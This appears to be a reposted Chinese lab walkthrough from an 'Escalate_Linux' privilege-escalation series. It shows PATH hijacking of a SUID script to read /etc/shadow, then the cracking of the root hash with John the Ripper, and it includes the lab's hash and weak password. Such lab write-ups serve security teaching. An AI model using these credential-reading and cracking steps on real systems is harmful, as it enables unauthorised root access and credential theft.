Escalate_Linux（3）--通过读取密码文件shadow来破解root用户的口令实现提权

本文主要是介绍Escalate_Linux（3）--通过读取密码文件shadow来破解root用户的口令实现提权，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

通过读取密码文件shadow来破解root用户的口令实现提权

通过读取密码文件/etc/shadow来破解root用户的口令

ls -l /etc/shadow 普通用户无查看shadow权限

echo "cat /etc/shadow" >/tmp/ls
​
chmod 755 /tmp/ls
​
export PATH=/tmp:$PATH
​
/home/user5/script

看到了root密码信息，第二部分为root密码hash

接下来对root密码进行破解

hash密码破解工具hashcat

john密码破解工具 （默认字典文件）

echo "root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1" > hash .txt

注意要用单引号！

使用john破解：

root采用了弱口令，密码为12345

显示破解的密码john --show hash.txt

这篇关于Escalate_Linux（3）--通过读取密码文件shadow来破解root用户的口令实现提权的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---